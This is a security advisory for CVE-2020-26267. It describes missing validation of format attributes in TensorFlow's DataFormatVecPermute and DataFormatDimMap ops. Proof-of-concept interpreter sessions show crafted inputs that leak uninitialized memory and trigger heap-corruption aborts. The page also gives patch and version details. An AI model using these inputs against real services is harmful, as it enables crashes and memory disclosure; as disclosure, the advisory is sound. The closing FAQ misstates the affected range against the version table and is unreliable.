CVE-2020-26267: Lack of validation in data format attributes in TensorFlow
First published: Thu Dec 10 2020(Updated: )
### Impact The `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`. However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes. ```python >>> import tensorflow as tf >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234') <tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW') <tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W') <tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)> >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='1253') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='1223') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1224', dst_format='1423') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='12345678', dst_format='87654321') munmap_chunk(): invalid pointer Aborted ... >>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], src_format='12345678', dst_format='87654321') <tf.Tensor: shape=(4, 2), dtype=int32, numpy= array([[71364624, 0], [71365824, 0], [ 560, 0], [ 48, 0]], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], src_format='12345678', dst_format='87654321') free(): invalid next size (fast) Aborted ``` A similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons: ```python >>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234', >>> dst_format='8765') <tf.Tensor: shape=(4, 2), dtype=int32, numpy= array([[1954047348, 1954047348], [1852793646, 1852793646], [1954047348, 1954047348], [1852793632, 1852793632]], dtype=int32)> ``` ### Patches We have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved. Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| pip/tensorflow-gpu | >=2.3.0<2.3.2 | 2.3.2 |
| pip/tensorflow-gpu | >=2.2.0<2.2.2 | 2.2.2 |
| pip/tensorflow-gpu | >=2.1.0<2.1.3 | 2.1.3 |
| pip/tensorflow-gpu | >=2.0.0<2.0.4 | 2.0.4 |
| pip/tensorflow-gpu | <1.15.5 | 1.15.5 |
| pip/tensorflow-cpu | >=2.3.0<2.3.2 | 2.3.2 |
| pip/tensorflow-cpu | >=2.2.0<2.2.2 | 2.2.2 |
| pip/tensorflow-cpu | >=2.1.0<2.1.3 | 2.1.3 |
| pip/tensorflow-cpu | >=2.0.0<2.0.4 | 2.0.4 |
| pip/tensorflow-cpu | <1.15.5 | 1.15.5 |
| pip/tensorflow | >=2.3.0<2.3.2 | 2.3.2 |
| pip/tensorflow | >=2.2.0<2.2.2 | 2.2.2 |
| pip/tensorflow | >=2.1.0<2.1.3 | 2.1.3 |
| pip/tensorflow | >=2.0.0<2.0.4 | 2.0.4 |
| pip/tensorflow | <1.15.5 | 1.15.5 |
| TensorFlow Keras | <1.15.5 | |
| TensorFlow Keras | >=2.0.0<2.0.4 | |
| TensorFlow Keras | >=2.1.0<2.1.3 | |
| TensorFlow Keras | >=2.2.0<2.2.2 | |
| TensorFlow Keras | >=2.3.0<2.3.2 |
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Reference Links
- https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7
- https://nvd.nist.gov/vuln/detail/CVE-2020-26267
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml
- https://github.com/advisories/GHSA-c9f3-9wfr-wgh7 (Advisory)
Frequently Asked Questions
What is the impact of CVE-2020-26267?
CVE-2020-26267 allows the `tf.raw_ops.DataFormatVecPermute` API to potentially use invalid attributes for `src_format` and `dst_format`, leading to improper behavior in TensorFlow.
What versions of TensorFlow are impacted by CVE-2020-26267?
CVE-2020-26267 affects TensorFlow versions prior to 2.3.2, including all versions from 1.15.5 up to 2.3.0.
How do I resolve CVE-2020-26267?
To fix CVE-2020-26267, upgrade TensorFlow to version 2.3.2 or any later version.
Is CVE-2020-26267 a critical vulnerability?
CVE-2020-26267 is classified as a high severity vulnerability that can affect the security of applications using TensorFlow.
Will updating to the latest version of TensorFlow fully mitigate CVE-2020-26267?
Yes, updating to TensorFlow version 2.3.2 or higher will fully mitigate the issues associated with CVE-2020-26267.
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